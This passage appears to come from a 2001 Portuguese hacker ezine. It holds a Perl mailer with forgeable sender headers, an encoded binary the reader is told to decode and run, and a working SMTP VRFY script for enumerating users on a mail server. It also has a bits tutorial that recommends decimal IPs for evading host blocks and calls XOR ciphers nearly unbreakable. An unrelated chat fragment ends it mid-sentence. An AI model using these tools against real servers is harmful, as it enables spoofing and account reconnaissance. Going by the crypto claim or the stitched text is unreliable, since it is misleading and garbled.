ask(" Anexo \[$numanexos]: "); if ($anexo ne "") { if (-e $anexo) { push @anexos, $anexo; next; } else { print STDERR "$vermelho_escuro"; print STDERR " Arquivo nao Encontrado\n"; next; } } else { last; } } foreach my $file (@anexos) { print STDERR " $vermelho_claro$file\n"; } $numanexos = $#anexos; $numanexos = $numanexos + 1; print STDERR "$branco_claro"; print STDERR " $vermelho_escuro$numanexos Arquivo(s) Anexo(s)\n"; info("+","Construindo corpo da mensagem..."); my $body = ""; my $shortfilename; my $msgid = "sartre_". randtext() . "\@localhost"; my $bound = "Boundary-=_". randtext(); my $date = `date`; chop($date); $body .= "From: $from\r\n"; $body .= "Reply-To: $mail_from\r\n"; $body .= "To: $rcpt_to\r\n"; $body .= "Subject: $subject\r\n"; $body .= "Date: $date\r\n"; $body .= "X-Mailer: SendMeiou v1.0 by pcHazard\r\n"; $body .= "Content-Type: Multipart/Mixed;boundary=\"$bound\"\r\n"; $body .= "MIME-Version: 1.0\r\n"; $body .= "Message-Id: <$msgid>\r\n\r\n\r\n"; $body .= "--$bound\r\n"; $body .= "Content-Type: text/plain\r\n"; $body .= "Content-Transfer-Encoding: 8Bit\r\n\r\n"; $body .= filetostring($corpo); my $encoded = ""; my @encs; my $enc; foreach my $file (@anexos) { info("+","Anexando arquivo: $file"); $body .= "--$bound\r\n"; $shortfilename = extractfilename($file); $body .= "Content-Type: application/octet-stream; name=\"$shortfilename\"\r\n"; $body .= "Content-Transfer-Encoding: base64\r\n"; $body .= "Content-Disposition: attachment; filename=\"$shortfilename\"\r\n\r\n"; $enc = `./base64 $file`; # @encs = split("\n","$enc"); # foreach my $ence (@encs) # { # chop($ence); # $encoded .= $ence."\r\n"; # } # $body .= $encoded; $body .= $enc; } $body .= "\r\n--$bound\r\n"; info("+","Anexacoes terminadas."); info("+","Construcao do corpo da mensagem terminada."); #info("+","Salvando copia da mensagem."); #open(SAIDA,"> copia.txt"); #print SAIDA "$body"; #close(SAIDA); #exit 0; info("+","Conectando no servidor SMTP $server..."); my $sock = IO::Socket::INET->new(PeerAddr => "$server", PeerPort => "25", Proto => 'tcp'); my $recv; my $code; if ($sock) { info("+","Conectado no servidor SMTP."); rec(); info("+","Servidor: $recv"); info("+","HELO"); print $sock "helo localhost\n"; rec(); if ($code ne "250") { info("-","Erro apos HELO: $recv"); close($sock); exit -1; } info("+","MAIL"); print $sock "mail from:<$mail_from>\n"; rec(); if ($code ne "250") { info("-","Erro apos MAIL: $recv"); close($sock); exit -1; } info("+","RCPT"); print $sock "rcpt to:<$rcpt_to>\n"; rec(); if ($code ne "250") { info("-","Erro apos RCPT: $recv"); close($sock); exit -1; } info("+","DATA"); print $sock "data\n"; rec(); if ($code ne "354") { info("-","Erro apos DATA: $recv"); close($sock); exit -1; } my $size = length($body); my $sent = 0; my $resto = $size; my $block = ""; my $numblocks = $size / 1024; info("+","Enviando e-mail ($size bytes, $numblocks blocos) ..."); my $percent; while ($resto != 0) { $block = substr($body,0,1024); substr($body,0,1024) = ""; print $sock "$block"; $resto = $resto - length($block); $sent = $sent + length($block); $percent = $sent * 100; $percent = $percent / $size; printf "Enviado $sent de $size (%d porcento)\n", $percent; #info("+","Enviado $sent de $size ($percent%)"); } print $sock "\n.\n"; rec(); if ($code ne "250") { info("-","Erro apos fim da transmissao: $recv"); close($sock); exit -1; } info("+","Confirmacao do Servidor: $recv"); print $sock "quit\n"; close($sock); print STDERR "$normal\n"; exit 0; } else { info("-","Erro conectando no servidor SMTP: $server ($@)"); info("?","Verifique o endereco do servidor SMTP e tente novamente."); exit -1; } sub rec { recv($sock,$recv,1024,0); chop($recv); $code = substr($recv,0,3); } sub randtext { my $str; my $max= 15; my @a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a]; } return $str; } sub info { my $symb = $_[0]; my $text = $_[1]; print STDERR "$normal"; print STDERR "["; print STDERR "$branco_claro$symb"; print STDERR "$normal"; print STDERR "] $text\n"; } sub ask { my $ask = $_[0]; my $answer; print STDERR "$cinza_escuro"; print STDERR "$ask"; print STDERR "$branco_claro"; $answer = ; chop($answer); print STDERR "$normal"; return $answer; } sub filetostring { my $file = $_[0]; my $conteudo = ""; open(ARQ, $file); while () { $part = $_; $conteudo = $conteudo . $part; } close(ARQ); return $conteudo; } sub extractfilename { #/usr/bin/cat $s = $_[0]; my $l = length($s); do {$l = $l - 1;} until ((substr($s,$l,1) eq "/") || ($l == 0)); return substr( $s, $l+1, length($s)); } <--> Base64 Necessario para criar os attachments do smail.pl desencode com: # cd protocolos/SMTP # uudecode b64.txt # gunzip base64 # chmod +x base64 <++> protocolos/SMTP/b64.txt begin-base64 644 base64.gz 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 L+t+HUIgRsSKhiWBVcVuEUe1/A8J6/MA3j8AAA== ==== <--> Verificador de Usuarios <++> protocolos/SMTP/vrfy.pl #!/usr/bin/perl use IO::Socket; my $sock; my $Msg; if ($#ARGV != 2) { print "\nVerificador de Usuarios\n"; print "=========================\n"; print "Uso: vrfy \n\n"; exit 0; } my $lista = $ARGV[0]; my $log = $ARGV[1]; my $txt; my $count = 0; my $login; my $server = $ARGV[2]; my $barra = "================================================================================\n"; #my $eol = "\015\012"; my $eol = "\n"; my $cmd; open(LISTA, "< $lista") or die "Lista Nao Existe: $lista\n"; print STDERR "$barra"; print STDERR "Conectando no Servidor $server:25..."; $sock = IO::Socket::INET->new(PeerAddr => $server,PeerPort => 25,Timeout => 5,Proto => 'tcp'); if ($sock) { print STDERR "Conectado.\n"; recv($sock,$Msg,4096,0); $Msg = substr($Msg,0,length($Msg)-2); print STDERR "$barra"; print STDERR "$Msg\n"; print STDERR "$barra"; print $sock "HELO localhost$eol"; recv($sock,$Msg,1024,0); while () { s/\b(p)earl\b/${1}erl/i; $login = $_; $login = substr($login,0,length($login)-1); $count++; print STDERR "[$count] $login: "; print $sock "VRFY $login$eol"; recv($sock,$Msg,4096,0); $Msg = substr($Msg,0,length($Msg)-2); $cmd = substr($Msg,0,3); if ($cmd eq "250") { print STDERR "Existe.\n"; escreve($log,"$login@$server\n"); } elsif ($cmd eq "550") { print STDERR "Nao Existe.\n"; } else { print STDERR "Desconhecido: $Msg\n"; } } } else { print STDERR "Erro Conectando.\n"; } print "$barra"; sub escreve { my($arq, $txt) = @_; open(LOG, ">> $arq") or die "Erro ao Escrever no Log"; print LOG "$txt"; close LOG; } <--> Well... tudo estah bem quando termina bem ;-) -= Anapolis, GO, Brasil 22 Mai 2001 10:30:18 =- -= 2001 by pcHazard =- _xXXXP^'' ``^YXXXx_ _xXXXXP~ 05 - Bits ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Vou falar aki de algo realmente simples. Algo que deveria ser ensinado em todas as aulas de informatica mas nao eh, ou nao eh claramente explicado e mtos acabam nao entendendo. Eh.. vou dar uma palinha sobre bits e tentar puchar para o lado mais avancado sobre vantagens em saber manipula-los. Um bit eh a quantidade minima de armazenamento na memoria. Um bit soh pode receber dois tipos de valores: Verdadeiro (1) ou Falso (0). O que recebe nome de linguagem binaria. 8 bits em serie formam um byte. Ok.. aki que muitos se perdem... como um byte pode ser gerado por 8 bits?? Vamos pensar juntos: 00000000 Isto eh um byte composto apenas por valores Falsos. Entao um kra decidiu dizer que isto pode ser o mesmo q 0. Ae esse mesmo kra achou q: 00000001 Poderia muito bem representar o numero 1 na linguagem binaria. Assim como: 00000010 representa 2 00000011 representa 3 00000100 representa 4 00000101 representa 5 00000110 representa 6 00000111 representa 7 E por ae vai... Estes 8 bits podem gerar numeros de 0 a 255. 11111111 representa 255 Em alguns sistemas, o oitavo bit serve de paridade. Sendo assim os bits de informacoes sao apenas 7 e o numero maximo formado por eles eh 127. 1111111 representa 127 Em geral a paridade eh feita por um bit extra. Mas pra que serve o bit de paridade?? Simplesmente para conferir se a informacao do byte esta correta. Existem maquinas que usam mais de um bit de paridade para se certi- ficarem de que a informacao sempre estara' correta. Como ele funciona? Eh simples... Simplesmente conta quantos bits tem o valor 1. Se o numero de bits for par, o bit paridade assume valor 1. Se for impar, 0. Mas voltando aos bits de informacao: Com 8 bits podemos gerar valores de 0 a 255. Em hexadecimal os valores vao de 0 a FF. Ahhhh!!! Entendeu agora pq usar liguagem hexadecimal?? Utilizando apenas 2 casas hexadecimais podemos gerar todo o tipo de byte. C usassemos numeros decimais precisariamos de 1 casa a mais (o que seria um grande problema de espaco) alem dos valores nao ficarem arredondados. Ou seja: em hexadecimal vai de 00 a FF e nao sobra nenhum valor, emquanto em decimal vai de 000 a 255 sobrando todos os valores de 256 a 999. Notou como as coisas funcionam?? nao foi algo inventado para complicar a vida e sim com base em mtos calculos para deixar o sistema mais inteligente. Estes bytes (de 0 a FF) foram padronisados com valores em uma tabela ASCII para que em todas as maquinas eles representem os mesmos valores. Assim sendo, todas as maquinas irao reconhecer o byte 6a como sendo "j". Veja a seguinte tabelinha abaixo: binario decimal hexadecimal ASCII 01100001 97 61 a 01100010 98 62 b 01100011 99 63 c 01100100 100 64 d etc... Textos puros da sua maquina usam esta tabela ASCII sendo que caso voce lesse o texto em forma binaria receberia os valores correspondentes na tabela. Outra coisa que poucos sabem eh que IPs nada mais sao do que um numero inteiro de 32 bits. Uh??? Isso mesmo. 011111110000000000000000000000001 Isto eh um IP. Na verdade eh usado sua forma inteira decimal e nao binaria, entao este IP nada mais eh do que: 2130706433 Isto eh um IP em sua forma mais simplificada. Pode testar na sua maquina e ele funciona. Voce acha dificil decorar IPs no formato: 204.34.3.5?? Imagine entao ter que decorar numeros como estes?? Para simplifica-lo, os bits foram manipulados ateh formarem o formato do IP q todos conhecem. Como isso foi feito? Estes 32 bits sao separados em 4 conjuntos. O que da 8 bits por conjunto, ou um byte. O IP mostrado acima ficaria entao: 01111111 00000000 00000000 00000001 Estes 4 bytes entao sao transformados em inteiros decimais. Isto resulta: 127 0 0 1 Alguem achou que ficava bonito separar estes bytes com . (pontos). 127.0.0.1 Sakou como funcionam o negocio?? Tentei ser bem claro. Se tu nao entendeu leia denovo, se nao quizer, apenas tenha em mente que um IP tanto pode ser escrito por uma cadeia de 32bits qto por 4 conjuntos de 8bits. Isto podera ser muito util para escapar de bloqueios de alguns hosts, pois eh normal que alguem coloque o IP na forma classica mas quase nunca eh colocado em sua forma inteira 32bits. Hm... vi isso em um texto da unsekurity que no momento nao estou lembrado do autor... Outra manipulacao de bits classica eh usada em rotinas de criptografias. Usando um simples operador bit-a-bit de C podemos criar nosso proprio encrypt. Seria uma funcao tipo: char encrypt(char ch) { return(~ch) } O operador ~ inverte o estado de cada bit da variavel especificada. Todos os valores 1 tornam-se 0 e os 0 tornam-se 1. Entao: 01000001 ("A" na tabela ASCII) ...fikaria... 10111110 ("¾" na tabela ASCII) Como vemos, o resultado seria algo ilegivel. O que eh otimo num programa de criptografia. Para descriptar a mesma variavel, basta passa-la novamente pelo encrypt(). O mesmo operador ira agir na variavel fazendo-a voltar ao seu estado normal. Este operador usado sozinho nao garante seguranca de que seus dados estarao protegidos, pois eh facilmente decifravel. Porem, combinado com outros sistemas de criptografia pode ser muito util. Outro operador de bit usado para criptografia eh o XOR (^). Para testa-lo tente passar algum caracter pela seguinte funcao: char encrypt2(char ch) { return(ch^'A') } Saka a funcao do XOR nao eh? Eh um OU Exclusivo que retorna 1 qdo apenas um dos dois bits for Verdadeiro (1). Basicamente, ele segue a ideia "Ou um ou outro". =) No codigo acima fazemos um XOR entre o caractere a ser encriptado e 'A'. No jargao de criptografia este 'A' eh chamado de chave de encriptacao. Entao: 01000010 ("B" na tabela ASCII) XOR 01000001 ("A" - Chave) ...fikaria... 00000011 (Caractere especial) Novamente temos algo ilegivel. Novamente passando o caractere gerado pela mesma funcao receberiamos o anterior. Como pode ver a manipulacao de bits eh ampla na area de criptografia. Um codigo bem escrito faria qquer palavra encriptada ser praticamente impossivel de ser quebrada. Bem... Achu que ja falei o suficiente sobre algo que deveria ser visto como basico porem nao eh. Espero que tenha trazido um pouco mais de cultura inutil a suas vidas inuteis. =) tem tipo uns kra lah pras guria querer fikar... eu tava falando com meu irmao isso hehehe vo manda foto tua dizendo q quer fikar com eles... painel do gugu hehe nahhhhhhhhhhhhh tah loco ??? HAHAHHA heheheh vou lah eu nem olho gugu... nao sabia q tinha dissu agora... manda msg pra lah ao vivo... eh ae psaux: Luiz Ignacio 18 anos 1.81 m 74 kg Aquário vixe que tal? quem eh? ta bom pra ti? hehehe hahahaha luiz ignacio lula da 